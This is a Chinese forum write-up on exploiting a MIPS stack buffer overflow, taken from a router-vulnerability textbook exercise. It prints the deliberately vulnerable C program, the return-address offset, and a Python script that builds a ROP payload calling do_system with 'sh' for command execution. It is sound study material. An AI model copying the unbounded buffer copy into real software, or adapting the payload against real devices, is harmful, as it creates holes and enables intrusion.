首页
社区
课程
招聘
[原创]mips缓冲区溢出漏洞利用
2019-8-21 21:36 6335

[原创]mips缓冲区溢出漏洞利用

2019-8-21 21:36
6335

目录

前言

最近在看《揭秘家用路由器0day漏洞挖掘技术》这本书,学习最重要的还是要动手,所以根据所学对漏洞进行复现和利用,并记录自己在这过程中遇到的问题。

环境

系统:Ubuntu 16.04

 

工具:IDA、QEMU

 

配置好mips交叉编译环境

漏洞源码

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>

void do_system(int code,char *cmd)
{
    char buf[255];
    //sleep(1);
    system(cmd);
}

int main()
{
    char buf[256]={0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;

    if(0 == stat("passwd",&fileData))
        fileLen = fileData.st_size;
    else
        return 1;

    if((fp = fopen("passwd","rb")) == NULL)
    {
        printf("Cannot open file passwd!\n");
        exit(1);
    }


    ch=fgetc(fp);
    while(count <= fileLen)
    {
        buf[count++] = ch;
        ch = fgetc(fp);
    }
    buf[--count] = '\x00';

    if(!strcmp(buf,"adminpwd"))
    {
        do_system(count,"ls -l");
    }
    else
    {
        printf("you have an invalid password!\n");
    }
    fclose(fp);

    return 0;
}

这是书中案例带的源码,代码功能很简单,从passwd文件中读取密码,密码为adminpwd时密码正确,执行ls -l命令,密码不对时,打印you have an invalid password!

 

但是我们可以发现,在读取密码向buf中赋值时,没有控制buf可以赋值的最大长度,所以会可以产生缓冲区溢出。

编译程序

在编译程序时,我最开始选择使用mips-linux-gnu-gcc -static vuln_system.c -o vuln_system命令进行编译,但是很不幸,这么编译的程序在IDA动态调试的时候产生异常

 

 

对此,问了几个老哥,也没找到解决的办法,只能在Ubuntu下配置mips的交叉编译环境

 

配置好环境,编译程序,能正常动态调试使用

 

新建passwd文件,输入正确的密码adminpwd,程序会调用ls -l命令,如下图

 

 

输入错误的密码

 

测试漏洞

passwd文件中写入600个字符A,运行程序,发现程序崩溃。

 

 

为了确定异常偏移,使用大型有序字符进行测试,我这里为了方便使用的是随书自带的脚本生成字符

 

 

用IDA动态调试程序

 

 

可以看到有序字符已经淹没返回地址RA

 

 

RA当前值是0x6E37416E,转成字符串是n7An

 

通过字符串找偏移是412(0x19C)

 

为了确定找到的偏移是否准确,利用python生成如下字符串

 

python -c "print 'A'*412 + 'BBBB'" > passwd

 

继续动态调试,发现RA崩溃在0x42424242,说明偏移找的是对的

 

漏洞利用

在这里使用命令执行的方式利用漏洞,在程序中有一个函数是do_system。从代码上看,do_system函数只能执行ls -l命令,但是对此进行有效的利用,就能达到任意命令的执行。

 

对此,我们需要找到一块能构造函数溢出并能返回的中间代码块。通过溢出漏洞调用do_system函数,让do_system函数能够执行任意命令。想要构造ROP chain,首先需要构造do-system函数的参数。虽然do-system有两个参数,但实际使用的只有第二个参数。根据mips程序的传参方式,我们知道第二个参数使用$a1进行传递,所以只要将$a1传入命令字符串地址即可。

 

利用IDA的python脚本插件mipsrop.py搜索构造合适的ROP chain

 

 

通过搜索,得到了一个可以构造的地址0x401F80

 

 

通过查看地址上图可知,这两句汇编可以化简为

addiu $a1,$sp,0x18
lw    $ra,0x54

 

通过如上,可以简单进行构造passwd文件,在0x19C处填入地址0x401F80,再过0x18偏移处填入命令字符串,然后再过0x54处调用do_system函数(0x400370)

 

根据上面描述,使用python脚本进行构造

#!/usr/bin/env python
import struct

print '[*] prepare shellcode',

cmd = "sh"                 
cmd += "\x00"*(4 - (len(cmd) % 4))    

#shellcode
shellcode = "A"*0x19C     
shellcode += struct.pack(">L",0x00401F80) 
shellcode += "A"*24        
shellcode += cmd        
shellcode += "B"*(0x3C - len(cmd))        
shellcode += struct.pack(">L",0x00400370)
shellcode += "BBBB"        

print ' ok!'

#create password file
print '[+] create password file',
fw = open('passwd','w')
fw.write(shellcode)
fw.close()
print ' ok!'

生成passwd文件后,执行程序

 

 

可以看到,已经成功利用,能够执行任意命令。

 

至此,mips程序缓存区溢出漏洞利用完毕。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-8-21 21:36 被Iam0x17编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (3)
雪    币: 7074
活跃值: (3463)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2019-8-22 08:33
2
0
有个问题想问下,用Windows版IDA Pro调试Linux程序。
和Linux版IDA Pro调试Linux程序,差异大吗?
雪    币: 644
活跃值: (1215)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
Iam0x17 1 2019-8-22 09:57
3
0
bxc 有个问题想问下,用Windows版IDA Pro调试Linux程序。 和Linux版IDA Pro调试Linux程序,差异大吗?
不知道你指的是哪方面,调试步骤差不多啊,就是需不需要放linux_server文件,其他方面的不太清楚
雪    币: 7074
活跃值: (3463)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2019-8-22 10:42
4
0
VicZ 不知道你指的是哪方面,调试步骤差不多啊,就是需不需要放linux_server文件,其他方面的不太清楚
就是不知道linux版IDA Pro有啥优势
调试上差不多的话,感觉Linux版IDA Pro没必要买了。
游客
登录 | 注册 方可回帖
返回